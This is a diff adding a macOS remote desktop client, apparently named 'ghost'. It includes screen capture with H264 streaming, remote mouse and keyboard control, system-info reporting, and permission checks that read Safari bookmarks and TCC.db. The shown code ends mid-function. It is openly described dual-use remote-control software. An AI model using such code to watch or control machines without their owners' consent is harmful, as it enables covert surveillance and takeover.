case 0x6E: return kVK_ANSI_KeypadDecimal; // VK_DECIMAL
|
||||
case 0x6F: return kVK_ANSI_KeypadDivide; // VK_DIVIDE
|
||||
|
||||
// Lock keys
|
||||
case 0x90: return kVK_ANSI_KeypadClear; // VK_NUMLOCK (Clear on Mac)
|
||||
case 0x91: return kVK_F14; // VK_SCROLL
|
||||
|
||||
// Shift variants
|
||||
case 0xA0: return kVK_Shift; // VK_LSHIFT
|
||||
case 0xA1: return kVK_RightShift; // VK_RSHIFT
|
||||
case 0xA2: return kVK_Control; // VK_LCONTROL
|
||||
case 0xA3: return kVK_RightControl; // VK_RCONTROL
|
||||
case 0xA4: return kVK_Option; // VK_LMENU
|
||||
case 0xA5: return kVK_RightOption; // VK_RMENU
|
||||
|
||||
// OEM keys (US keyboard layout)
|
||||
case 0xBA: return kVK_ANSI_Semicolon; // VK_OEM_1 (;:)
|
||||
case 0xBB: return kVK_ANSI_Equal; // VK_OEM_PLUS (=+)
|
||||
case 0xBC: return kVK_ANSI_Comma; // VK_OEM_COMMA (,<)
|
||||
case 0xBD: return kVK_ANSI_Minus; // VK_OEM_MINUS (-_)
|
||||
case 0xBE: return kVK_ANSI_Period; // VK_OEM_PERIOD (.>)
|
||||
case 0xBF: return kVK_ANSI_Slash; // VK_OEM_2 (/?)
|
||||
case 0xC0: return kVK_ANSI_Grave; // VK_OEM_3 (`~)
|
||||
case 0xDB: return kVK_ANSI_LeftBracket; // VK_OEM_4 ([{)
|
||||
case 0xDC: return kVK_ANSI_Backslash; // VK_OEM_5 (\|)
|
||||
case 0xDD: return kVK_ANSI_RightBracket; // VK_OEM_6 (]})
|
||||
case 0xDE: return kVK_ANSI_Quote; // VK_OEM_7 ('")
|
||||
|
||||
default:
|
||||
return 0xFF; // Unknown key
|
||||
}
|
||||
}
|
||||
43
macos/Permissions.h
Normal file
43
macos/Permissions.h
Normal file
@@ -0,0 +1,43 @@
|
||||
#pragma once
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
||||
class Permissions {
|
||||
public:
|
||||
// Check if screen recording permission is granted
|
||||
// Returns true if granted, false otherwise
|
||||
static bool checkScreenCapture();
|
||||
|
||||
// Request screen recording permission (shows system dialog, macOS 10.15+)
|
||||
static void requestScreenCapture();
|
||||
|
||||
// Check if accessibility permission is granted (for input simulation)
|
||||
// Returns true if granted, false otherwise
|
||||
static bool checkAccessibility();
|
||||
|
||||
// Request accessibility permission (shows system dialog)
|
||||
static void requestAccessibility();
|
||||
|
||||
// Open System Preferences to Screen Recording settings
|
||||
static void openScreenCaptureSettings();
|
||||
|
||||
// Open System Preferences to Accessibility settings
|
||||
static void openAccessibilitySettings();
|
||||
|
||||
// Check if Full Disk Access permission is granted
|
||||
// Returns true if granted, false otherwise
|
||||
static bool checkFullDiskAccess();
|
||||
|
||||
// Open System Preferences to Full Disk Access settings
|
||||
static void openFullDiskAccessSettings();
|
||||
|
||||
// Check all required permissions
|
||||
// Returns true if all permissions are granted
|
||||
static bool checkAllPermissions();
|
||||
|
||||
// Wait for permissions to be granted (blocking)
|
||||
// Returns true if all granted within timeout, false otherwise
|
||||
static bool waitForPermissions(int timeoutSeconds);
|
||||
};
|
||||
107
macos/Permissions.mm
Normal file
107
macos/Permissions.mm
Normal file
@@ -0,0 +1,107 @@
|
||||
#import "Permissions.h"
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
||||
bool Permissions::checkScreenCapture() {
|
||||
// macOS 10.15+ requires screen recording permission
|
||||
if (@available(macOS 10.15, *)) {
|
||||
// Use CGPreflightScreenCaptureAccess for reliable permission check
|
||||
// This API is available since macOS 10.15
|
||||
return CGPreflightScreenCaptureAccess();
|
||||
}
|
||||
|
||||
// Before 10.15, no permission needed
|
||||
return true;
|
||||
}
|
||||
|
||||
void Permissions::requestScreenCapture() {
|
||||
if (@available(macOS 10.15, *)) {
|
||||
// Trigger system permission dialog
|
||||
CGRequestScreenCaptureAccess();
|
||||
}
|
||||
}
|
||||
|
||||
bool Permissions::checkAccessibility() {
|
||||
return AXIsProcessTrusted();
|
||||
}
|
||||
|
||||
void Permissions::requestAccessibility() {
|
||||
NSDictionary *options = @{
|
||||
(__bridge id)kAXTrustedCheckOptionPrompt: @YES
|
||||
};
|
||||
AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
|
||||
}
|
||||
|
||||
void Permissions::openScreenCaptureSettings() {
|
||||
if (@available(macOS 10.15, *)) {
|
||||
// Open System Preferences -> Security & Privacy -> Privacy -> Screen Recording
|
||||
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_ScreenCapture"];
|
||||
[[NSWorkspace sharedWorkspace] openURL:url];
|
||||
}
|
||||
}
|
||||
|
||||
void Permissions::openAccessibilitySettings() {
|
||||
// Open System Preferences -> Security & Privacy -> Privacy -> Accessibility
|
||||
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_Accessibility"];
|
||||
[[NSWorkspace sharedWorkspace] openURL:url];
|
||||
}
|
||||
|
||||
bool Permissions::checkFullDiskAccess() {
|
||||
// There's no official API to check Full Disk Access.
|
||||
// Try to actually read a protected file that requires FDA.
|
||||
|
||||
NSString* testPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Safari/Bookmarks.plist"];
|
||||
|
||||
NSFileManager* fm = [NSFileManager defaultManager];
|
||||
if ([fm fileExistsAtPath:testPath]) {
|
||||
// Try to actually read the file (more reliable than isReadableFileAtPath)
|
||||
NSData* data = [NSData dataWithContentsOfFile:testPath];
|
||||
if (data != nil) {
|
||||
NSLog(@"FDA check: OK (can read Safari bookmarks)");
|
||||
return true;
|
||||
} else {
|
||||
NSLog(@"FDA check: FAILED (Safari bookmarks exists but unreadable)");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Safari bookmarks doesn't exist, try TCC database
|
||||
testPath = @"/Library/Application Support/com.apple.TCC/TCC.db";
|
||||
if ([fm fileExistsAtPath:testPath]) {
|
||||
NSData* data = [NSData dataWithContentsOfFile:testPath];
|
||||
if (data != nil) {
|
||||
NSLog(@"FDA check: OK (can read TCC.db)");
|
||||
return true;
|
||||
} else {
|
||||
NSLog(@"FDA check: FAILED (TCC.db exists but unreadable)");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// No test files exist, assume OK
|
||||
NSLog(@"FDA check: SKIPPED (no test files found)");
|
||||
return true;
|
||||
}
|
||||
|
||||
void Permissions::openFullDiskAccessSettings() {
|
||||
// Open System Preferences -> Security & Privacy -> Privacy -> Full Disk Access
|
||||
NSURL *url = [NSURL URLWithString:@"x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles"];
|
||||
[[NSWorkspace sharedWorkspace] openURL:url];
|
||||
}
|
||||
|
||||
bool Permissions::checkAllPermissions() {
|
||||
return checkScreenCapture() && checkAccessibility() && checkFullDiskAccess();
|
||||
}
|
||||
|
||||
bool Permissions::waitForPermissions(int timeoutSeconds) {
|
||||
int elapsed = 0;
|
||||
while (elapsed < timeoutSeconds) {
|
||||
if (checkAllPermissions()) {
|
||||
return true;
|
||||
}
|
||||
[NSThread sleepForTimeInterval:1.0];
|
||||
elapsed++;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
61
macos/README.txt
Normal file
61
macos/README.txt
Normal file
@@ -0,0 +1,61 @@
|
||||
macOS Remote Desktop Client
|
||||
===========================
|
||||
|
||||
Prerequisites:
|
||||
1. Xcode Command Line Tools: xcode-select --install
|
||||
2. CMake: brew install cmake
|
||||
|
||||
Build:
|
||||
chmod +x build.sh
|
||||
./build.sh
|
||||
|
||||
Or manually:
|
||||
mkdir build && cd build
|
||||
cmake ..
|
||||
make
|
||||
|
||||
Run:
|
||||
./build/bin/ghost
|
||||
|
||||
Configuration:
|
||||
Server address is configured in main.mm (g_SETTINGS variable).
|
||||
Modify before building if needed.
|
||||
|
||||
Permissions Required:
|
||||
1. Screen Recording - System Settings > Privacy & Security > Screen Recording
|
||||
2. Accessibility - System Settings > Privacy & Security > Accessibility
|
||||
|
||||
Features:
|
||||
[x] Screen capture (CGDisplayCreateImage)
|
||||
[x] H264 video encoding (VideoToolbox)
|
||||
[x] Mouse control (move, click, drag, scroll)
|
||||
[x] Keyboard control (full VK code mapping)
|
||||
[x] Retina display support (coordinate scaling)
|
||||
[x] Network connection (IOCPClient)
|
||||
[x] LOGIN_INFOR (system info reporting)
|
||||
[x] Heartbeat with RTT estimation
|
||||
[x] Active window tracking
|
||||
[x] Quality level adjustment (FPS/algorithm)
|
||||
|
||||
Files:
|
||||
CMakeLists.txt - Build configuration
|
||||
Permissions.h/mm - macOS permission handling
|
||||
ScreenHandler.h/mm - Screen capture and H264 encoding
|
||||
InputHandler.h/mm - Mouse/keyboard simulation
|
||||
H264Encoder.h/mm - VideoToolbox H264 encoder
|
||||
SystemManager.h/mm - Process management
|
||||
main.mm - Entry point, LOGIN_INFOR, heartbeat
|
||||
|
||||
Quality Levels:
|
||||
Level 0: 5 FPS, Grayscale (emergency low bandwidth)
|
||||
Level 1: 10 FPS, RGB565
|
||||
Level 2: 15 FPS, H264 (default, office work)
|
||||
Level 3: 20 FPS, H264
|
||||
Level 4: 25 FPS, H264
|
||||
Level 5: 30 FPS, H264 (smooth)
|
||||
|
||||
Notes:
|
||||
- First frame is always raw bitmap (TOKEN_FIRSTSCREEN)
|
||||
- Subsequent frames use H264 encoding (TOKEN_NEXTSCREEN)
|
||||
- Coordinates are scaled for Retina displays automatically
|
||||
- Windows VK codes are mapped to macOS key codes
|
||||
135
macos/ScreenHandler.h
Normal file
135
macos/ScreenHandler.h
Normal file
@@ -0,0 +1,135 @@
|
||||
#pragma once
|
||||
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
#import <dispatch/dispatch.h>
|
||||
#import "../client/IOCPClient.h"
|
||||
#include <vector>
|
||||
#include <atomic>
|
||||
#include <mutex>
|
||||
#include <thread>
|
||||
#include <cstdint>
|
||||
#include <memory>
|
||||
|
||||
// Forward declarations
|
||||
class IOCPClient;
|
||||
class H264Encoder;
|
||||
class InputHandler;
|
||||
|
||||
// macOS BITMAPINFOHEADER (compatible with Windows)
|
||||
#pragma pack(push, 1)
|
||||
struct BITMAPINFOHEADER_MAC {
|
||||
uint32_t biSize; // 40
|
||||
int32_t biWidth;
|
||||
int32_t biHeight;
|
||||
uint16_t biPlanes; // 1
|
||||
uint16_t biBitCount; // 32
|
||||
uint32_t biCompression; // 0 (BI_RGB)
|
||||
uint32_t biSizeImage;
|
||||
int32_t biXPelsPerMeter; // 0
|
||||
int32_t biYPelsPerMeter; // 0
|
||||
uint32_t biClrUsed; // 0
|
||||
uint32_t biClrImportant; // 0
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
// Screen algorithm constants
|
||||
#define ALGORITHM_GRAY 0
|
||||
#define ALGORITHM_DIFF 1
|
||||
#define ALGORITHM_H264 2
|
||||
#define ALGORITHM_RGB565 3
|
||||
|
||||
class ScreenHandler : public IOCPManager {
|
||||
public:
|
||||
ScreenHandler(IOCPClient* client);
|
||||
~ScreenHandler();
|
||||
|
||||
// Initialize screen capture (returns false if permission denied)
|
||||
bool init();
|
||||
|
||||
// Start/stop capture loop
|
||||
void start(IOCPClient* client, uint64_t clientID);
|
||||
void stop();
|
||||
|
||||
// Check if running
|
||||
bool isRunning() const { return m_running; }
|
||||
|
||||
// Get screen dimensions
|
||||
int getWidth() const { return m_width; }
|
||||
int getHeight() const { return m_height; }
|
||||
|
||||
// Send bitmap info to server (called after connection)
|
||||
void sendBitmapInfo();
|
||||
|
||||
// Handle received commands
|
||||
void OnReceive(uint8_t* data, ULONG size);
|
||||
|
||||
// Apply quality level
|
||||
void applyQualityLevel(int8_t level, bool persist = false);
|
||||
|
||||
private:
|
||||
// Capture the screen (returns BGRA data, bottom-up)
|
||||
bool captureScreen(std::vector<uint8_t>& buffer);
|
||||
|
||||
// Send first full screen frame
|
||||
void sendFirstScreen();
|
||||
|
||||
// Send differential frame
|
||||
void sendDiffFrame();
|
||||
|
||||
// Send H264 encoded frame
|
||||
void sendH264Frame(bool keyframe);
|
||||
|
||||
// Compare bitmaps and generate diff data
|
||||
uint32_t compareBitmap(const uint8_t* curr, const uint8_t* prev,
|
||||
uint8_t* outBuf, uint32_t totalBytes, uint8_t algo);
|
||||
|
||||
// Color conversion helpers
|
||||
void convertBGRAtoGray(const uint8_t* src, uint8_t* dst, uint32_t pixelCount);
|
||||
void convertBGRAtoRGB565(const uint8_t* src, uint16_t* dst, uint32_t pixelCount);
|
||||
|
||||
// Capture loop thread function
|
||||
void captureLoop();
|
||||
|
||||
// Get current time in milliseconds
|
||||
static uint64_t getTickMs();
|
||||
|
||||
// Get current cursor position (in physical pixels)
|
||||
void getCursorPosition(int32_t& x, int32_t& y);
|
||||
|
||||
// Get current cursor type index (matches Windows cursor indices)
|
||||
uint8_t getCursorTypeIndex();
|
||||
|
||||
private:
|
||||
IOCPClient* m_client;
|
||||
uint64_t m_clientID;
|
||||
|
||||
std::atomic<bool> m_running;
|
||||
std::thread m_captureThread;
|
||||
std::mutex m_mutex;
|
||||
|
||||
// Screen info
|
||||
int m_width; // Physical pixel width (sent to server)
|
||||
int m_height; // Physical pixel height (sent to server)
|
||||
int m_logicalWidth; // Logical point width (for CGEvent)
|
||||
int m_logicalHeight; // Logical point height (for CGEvent)
|
||||
double m_scaleFactor; // Retina scale factor (physical / logical)
|
||||
CGDirectDisplayID m_displayID;
|
||||
|
||||
// Protocol
|
||||
BITMAPINFOHEADER_MAC m_bmpHeader;
|
||||
std::vector<uint8_t> m_prevFrame;
|
||||
std::vector<uint8_t> m_currFrame;
|
||||
std::vector<uint8_t> m_diffBuffer;
|
||||
|
||||
// Quality settings
|
||||
std::atomic<uint8_t> m_algorithm;
|
||||
std::atomic<int> m_maxFPS;
|
||||
int8_t m_qualityLevel;
|
||||
|
||||
// H264 encoder
|
||||
std::unique_ptr<H264Encoder> m_h264Encoder;
|
||||
int m_h264Bitrate;
|
||||
|
||||
// Input handler for mouse/keyboard control
|
||||
std::unique_ptr<InputHandler> m_inputHandler;
|
||||
};
|
||||
691
macos/ScreenHandler.mm
Normal file
691
macos/ScreenHandler.mm
Normal file
@@ -0,0 +1,691 @@
|
||||
#import "ScreenHandler.h"
|
||||
#import "H264Encoder.h"
|
||||
#import "InputHandler.h"
|
||||
#import "../client/IOCPClient.h"
|
||||
#import "../common/commands.h"
|
||||
#import "Permissions.h"
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <CoreGraphics/CoreGraphics.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
#import <mach/mach_time.h>
|
||||
|
||||
// Global client ID (calculated in main.mm)
|
||||
extern uint64_t g_myClientID;
|
||||
|
||||
ScreenHandler::ScreenHandler(IOCPClient* client)
|
||||
: m_client(client)
|
||||
, m_clientID(0)
|
||||
, m_running(false)
|
||||
, m_width(0)
|
||||
, m_height(0)
|
||||
, m_logicalWidth(0)
|
||||
, m_logicalHeight(0)
|
||||
, m_scaleFactor(1.0)
|
||||
, m_displayID(CGMainDisplayID())
|
||||
, m_algorithm(ALGORITHM_H264)
|
||||
, m_maxFPS(15)
|
||||
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
|
||||
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
|
||||
{
|
||||
memset(&m_bmpHeader, 0, sizeof(m_bmpHeader));
|
||||
|
||||
// Initialize input handler for mouse/keyboard control
|
||||
m_inputHandler = std::make_unique<InputHandler>();
|
||||
if (m_inputHandler->init()) {
|
||||
NSLog(@"InputHandler initialized with accessibility permission");
|
||||
} else {
|
||||
NSLog(@"InputHandler: waiting for accessibility permission");
|
||||
}
|
||||
}
|
||||
|
||||
ScreenHandler::~ScreenHandler()
|
||||
{
|
||||
stop();
|
||||
}
|
||||
|
||||
bool ScreenHandler::init()
|
||||
{
|
||||
// Check permissions
|
||||
if (!Permissions::checkScreenCapture()) {
|
||||
NSLog(@"Screen capture permission not granted");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get main display info
|
||||
m_displayID = CGMainDisplayID();
|
||||
|
||||
// Get physical pixel dimensions (what we capture and send)
|
||||
CGDisplayModeRef mode = CGDisplayCopyDisplayMode(m_displayID);
|
||||
if (mode) {
|
||||
m_width = (int)CGDisplayModeGetPixelWidth(mode);
|
||||
m_height = (int)CGDisplayModeGetPixelHeight(mode);
|
||||
CGDisplayModeRelease(mode);
|
||||
} else {
|
||||
m_width = (int)CGDisplayPixelsWide(m_displayID);
|
||||
m_height = (int)CGDisplayPixelsHigh(m_displayID);
|
||||
}
|
||||
|
||||
// Get logical point dimensions (what CGEvent uses)
|
||||
// NSScreen provides logical dimensions
|
||||
NSScreen* mainScreen = [NSScreen mainScreen];
|
||||
if (mainScreen) {
|
||||
NSRect frame = [mainScreen frame];
|
||||
m_logicalWidth = (int)frame.size.width;
|
||||
m_logicalHeight = (int)frame.size.height;
|
||||
} else {
|
||||
// Fallback: use physical dimensions
|
||||
m_logicalWidth = m_width;
|
||||
m_logicalHeight = m_height;
|
||||
}
|
||||
|
||||
// Calculate scale factor (Retina displays have factor > 1.0)
|
||||
m_scaleFactor = (double)m_width / (double)m_logicalWidth;
|
||||
|
||||
NSLog(@"Screen dimensions: physical=%dx%d, logical=%dx%d, scale=%.2f",
|
||||
m_width, m_height, m_logicalWidth, m_logicalHeight, m_scaleFactor);
|
||||
|
||||
if (m_width <= 0 || m_height <= 0) {
|
||||
NSLog(@"Invalid screen dimensions: %dx%d", m_width, m_height);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Initialize BITMAPINFOHEADER
|
||||
m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_MAC);
|
||||
m_bmpHeader.biWidth = m_width;
|
||||
m_bmpHeader.biHeight = m_height;
|
||||
m_bmpHeader.biPlanes = 1;
|
||||
m_bmpHeader.biBitCount = 32;
|
||||
m_bmpHeader.biCompression = 0; // BI_RGB
|
||||
m_bmpHeader.biSizeImage = m_width * m_height * 4;
|
||||
|
||||
// Allocate frame buffers
|
||||
m_prevFrame.resize(m_bmpHeader.biSizeImage, 0);
|
||||
m_currFrame.resize(m_bmpHeader.biSizeImage, 0);
|
||||
m_diffBuffer.resize(1 + 1 + 8 + 1 + m_bmpHeader.biSizeImage * 2);
|
||||
|
||||
NSLog(@"ScreenHandler initialized: %dx%d", m_width, m_height);
|
||||
return true;
|
||||
}
|
||||
|
||||
void ScreenHandler::start(IOCPClient* client, uint64_t clientID)
|
||||
{
|
||||
if (m_running) return;
|
||||
|
||||
m_client = client;
|
||||
m_clientID = clientID;
|
||||
m_running = true;
|
||||
|
||||
m_captureThread = std::thread(&ScreenHandler::captureLoop, this);
|
||||
}
|
||||
|
||||
void ScreenHandler::stop()
|
||||
{
|
||||
m_running = false;
|
||||
if (m_captureThread.joinable()) {
|
||||
m_captureThread.join();
|
||||
}
|
||||
|
||||
// Close H264 encoder if open
|
||||
if (m_h264Encoder) {
|
||||
m_h264Encoder->close();
|
||||
m_h264Encoder.reset();
|
||||
}
|
||||
}
|
||||
|
||||
void ScreenHandler::sendBitmapInfo()
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
// Build packet: [TOKEN_BITMAPINFO][BITMAPINFOHEADER][clientID][reserved][ScreenSettings]
|
||||
// ScreenSettings defined in commands.h (100 bytes), QualityLevel at offset 32
|
||||
|
||||
const uint32_t len = 1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
|
||||
std::vector<uint8_t> buf(len, 0);
|
||||
|
||||
buf[0] = TOKEN_BITMAPINFO;
|
||||
memcpy(&buf[1], &m_bmpHeader, sizeof(BITMAPINFOHEADER_MAC));
|
||||
uint64_t clientID = g_myClientID;
|
||||
memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC)], &clientID, sizeof(uint64_t));
|
||||
|
||||
ScreenSettings settings = {};
|
||||
settings.MaxFPS = m_maxFPS.load();
|
||||
settings.QualityLevel = m_qualityLevel; // Fixed quality level (e.g., QUALITY_GOOD = 2)
|
||||
memcpy(&buf[1 + sizeof(BITMAPINFOHEADER_MAC) + 2 * sizeof(uint64_t)], &settings, sizeof(ScreenSettings));
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), len);
|
||||
NSLog(@"SendBitmapInfo: clientID=%llu, QualityLevel=%d, SettingsSize=%zu",
|
||||
clientID, m_qualityLevel, sizeof(ScreenSettings));
|
||||
}
|
||||
|
||||
void ScreenHandler::OnReceive(uint8_t* data, ULONG size)
|
||||
{
|
||||
if (!size) return;
|
||||
|
||||
switch (data[0]) {
|
||||
case COMMAND_NEXT:
|
||||
// Server ready, handled externally
|
||||
NSLog(@"Received COMMAND_NEXT from server");
|
||||
if (!m_running) {
|
||||
start(m_client, g_myClientID);
|
||||
}
|
||||
break;
|
||||
|
||||
case COMMAND_SCREEN_CONTROL:
|
||||
// Handle mouse/keyboard control commands
|
||||
// Protocol: [COMMAND_SCREEN_CONTROL:1][MSG64:48]
|
||||
if (size >= 1 + sizeof(MSG64_MAC) && m_inputHandler) {
|
||||
MSG64_MAC msg;
|
||||
memcpy(&msg, data + 1, sizeof(MSG64_MAC));
|
||||
|
||||
// Convert physical pixel coordinates to logical point coordinates
|
||||
// Server sends coordinates in physical pixels (matching our captured screen)
|
||||
// CGEvent expects logical points (for Retina displays, physical/scale)
|
||||
if (m_scaleFactor > 1.0) {
|
||||
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
|
||||
int x = (int)(msg.lParam & 0xFFFF);
|
||||
int y = (int)((msg.lParam >> 16) & 0xFFFF);
|
||||
|
||||
// Scale down to logical coordinates
|
||||
x = (int)(x / m_scaleFactor);
|
||||
y = (int)(y / m_scaleFactor);
|
||||
|
||||
// Update lParam with scaled coordinates
|
||||
msg.lParam = (uint64_t)x | ((uint64_t)y << 16);
|
||||
msg.pt_x = x;
|
||||
msg.pt_y = y;
|
||||
}
|
||||
|
||||
m_inputHandler->handleInputEvent(&msg);
|
||||
}
|
||||
break;
|
||||
|
||||
case CMD_QUALITY_LEVEL:
|
||||
if (size >= 2) {
|
||||
int8_t level = (int8_t)data[1];
|
||||
bool persist = (size >= 3) ? data[2] : false;
|
||||
applyQualityLevel(level, persist);
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void ScreenHandler::applyQualityLevel(int8_t level, bool persist)
|
||||
{
|
||||
m_qualityLevel = level;
|
||||
|
||||
if (level == QUALITY_DISABLED) {
|
||||
NSLog(@"Quality: Disabled");
|
||||
return;
|
||||
}
|
||||
|
||||
// Quality profiles: [FPS, Algorithm]
|
||||
// H264 provides best compression for remote desktop
|
||||
// Note: macOS uses slightly higher FPS than Windows for smoother experience
|
||||
static const int profiles[QUALITY_COUNT][2] = {
|
||||
{5, ALGORITHM_GRAY}, // Level 0: Emergency (very low bandwidth)
|
||||
{10, ALGORITHM_RGB565}, // Level 1: Low
|
||||
{15, ALGORITHM_H264}, // Level 2: Medium (office work default)
|
||||
{20, ALGORITHM_H264}, // Level 3: Good
|
||||
{25, ALGORITHM_H264}, // Level 4: High
|
||||
{30, ALGORITHM_H264}, // Level 5: Smooth
|
||||
};
|
||||
|
||||
if (level >= 0 && level < QUALITY_COUNT) {
|
||||
m_maxFPS.store(profiles[level][0]);
|
||||
m_algorithm.store(profiles[level][1]);
|
||||
NSLog(@"Quality: Level=%d, FPS=%d, Algo=%d", level, profiles[level][0], profiles[level][1]);
|
||||
} else {
|
||||
NSLog(@"Quality: Adaptive mode");
|
||||
}
|
||||
}
|
||||
|
||||
bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
|
||||
{
|
||||
// Create image from display
|
||||
CGImageRef image = CGDisplayCreateImage(m_displayID);
|
||||
if (!image) {
|
||||
NSLog(@"Failed to capture screen image");
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t width = CGImageGetWidth(image);
|
||||
size_t height = CGImageGetHeight(image);
|
||||
|
||||
if (width != (size_t)m_width || height != (size_t)m_height) {
|
||||
// Screen resolution changed, need to reinitialize
|
||||
CGImageRelease(image);
|
||||
NSLog(@"Screen resolution changed: %zux%zu", width, height);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create bitmap context to get raw pixel data
|
||||
CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB();
|
||||
size_t bytesPerRow = width * 4;
|
||||
|
||||
// Temporary buffer for top-down BGRA
|
||||
std::vector<uint8_t> tempBuffer(bytesPerRow * height);
|
||||
|
||||
CGContextRef context = CGBitmapContextCreate(
|
||||
tempBuffer.data(),
|
||||
width,
|
||||
height,
|
||||
8,
|
||||
bytesPerRow,
|
||||
colorSpace,
|
||||
kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Little // BGRA
|
||||
);
|
||||
|
||||
CGColorSpaceRelease(colorSpace);
|
||||
|
||||
if (!context) {
|
||||
CGImageRelease(image);
|
||||
NSLog(@"Failed to create bitmap context");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Draw image into context
|
||||
CGContextDrawImage(context, CGRectMake(0, 0, width, height), image);
|
||||
CGContextRelease(context);
|
||||
CGImageRelease(image);
|
||||
|
||||
// Flip vertically (BMP is bottom-up, CGImage is top-down)
|
||||
for (size_t y = 0; y < height; y++) {
|
||||
size_t srcRow = y;
|
||||
size_t dstRow = height - 1 - y;
|
||||
memcpy(buffer.data() + dstRow * bytesPerRow,
|
||||
tempBuffer.data() + srcRow * bytesPerRow,
|
||||
bytesPerRow);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void ScreenHandler::sendFirstScreen()
|
||||
{
|
||||
if (!captureScreen(m_currFrame)) return;
|
||||
if (!m_client) return;
|
||||
|
||||
uint32_t imgSize = m_bmpHeader.biSizeImage;
|
||||
std::vector<uint8_t> buf(1 + imgSize);
|
||||
buf[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(&buf[1], m_currFrame.data(), imgSize);
|
||||
|
||||
m_client->Send2Server((char*)buf.data(), buf.size());
|
||||
|
||||
// Save as previous frame
|
||||
m_prevFrame = m_currFrame;
|
||||
}
|
||||
|
||||
void ScreenHandler::sendDiffFrame()
|
||||
{
|
||||
if (!captureScreen(m_currFrame)) return;
|
||||
if (!m_client) return;
|
||||
|
||||
uint8_t* out = m_diffBuffer.data();
|
||||
out[0] = TOKEN_NEXTSCREEN;
|
||||
uint8_t* data = out + 1;
|
||||
|
||||
// Write algorithm type
|
||||
uint8_t algo = m_algorithm.load();
|
||||
memcpy(data, &algo, sizeof(uint8_t));
|
||||
|
||||
// Write cursor position
|
||||
int32_t cursorX, cursorY;
|
||||
getCursorPosition(cursorX, cursorY);
|
||||
memcpy(data + 1, &cursorX, sizeof(int32_t));
|
||||
memcpy(data + 1 + sizeof(int32_t), &cursorY, sizeof(int32_t));
|
||||
|
||||
// Write cursor type
|
||||
uint8_t cursorType = getCursorTypeIndex();
|
||||
memcpy(data + 1 + 2 * sizeof(int32_t), &cursorType, sizeof(uint8_t));
|
||||
|
||||
uint32_t headerSize = 1 + 2 * sizeof(int32_t) + 1;
|
||||
uint8_t* diffData = data + headerSize;
|
||||
uint32_t diffLen = compareBitmap(m_currFrame.data(), m_prevFrame.data(),
|
||||
diffData, m_bmpHeader.biSizeImage, algo);
|
||||
|
||||
uint32_t totalLen = 1 + headerSize + diffLen;
|
||||
m_client->Send2Server((char*)out, totalLen);
|
||||
|
||||
// Update previous frame
|
||||
std::swap(m_prevFrame, m_currFrame);
|
||||
}
|
||||
|
||||
void ScreenHandler::sendH264Frame(bool keyframe)
|
||||
{
|
||||
if (!captureScreen(m_currFrame)) return;
|
||||
if (!m_client) return;
|
||||
|
||||
// Initialize encoder if needed
|
||||
if (!m_h264Encoder) {
|
||||
m_h264Encoder = std::make_unique<H264Encoder>();
|
||||
int fps = m_maxFPS.load();
|
||||
if (fps <= 0) fps = 30;
|
||||
if (!m_h264Encoder->open(m_width, m_height, fps, m_h264Bitrate)) {
|
||||
NSLog(@"Failed to initialize H264 encoder: %s", m_h264Encoder->getLastError());
|
||||
m_h264Encoder.reset();
|
||||
return;
|
||||
}
|
||||
NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_width, m_height, fps);
|
||||
}
|
||||
|
||||
// Force keyframe if requested
|
||||
if (keyframe) {
|
||||
m_h264Encoder->forceKeyframe();
|
||||
}
|
||||
|
||||
// Encode frame
|
||||
uint8_t* encodedData = nullptr;
|
||||
uint32_t encodedSize = 0;
|
||||
uint32_t stride = m_width * 4;
|
||||
|
||||
int result = m_h264Encoder->encode(
|
||||
m_currFrame.data(),
|
||||
32, // bpp
|
||||
stride,
|
||||
m_width,
|
||||
m_height,
|
||||
&encodedData,
|
||||
&encodedSize,
|
||||
false // Don't flip - keep bottom-up format like Windows client
|
||||
);
|
||||
|
||||
if (result <= 0 || !encodedData || encodedSize == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Build packet: [TOKEN_NEXTSCREEN][ALGORITHM_H264][CursorX][CursorY][CursorType][H264Data]
|
||||
// Note: H264 always uses TOKEN_NEXTSCREEN because:
|
||||
// - Server's TOKEN_KEYFRAME handler does nothing for H264 (just break)
|
||||
// - Server's TOKEN_NEXTSCREEN handler calls Decode() for H264
|
||||
// - H264 encoder manages keyframes (I-frames) internally
|
||||
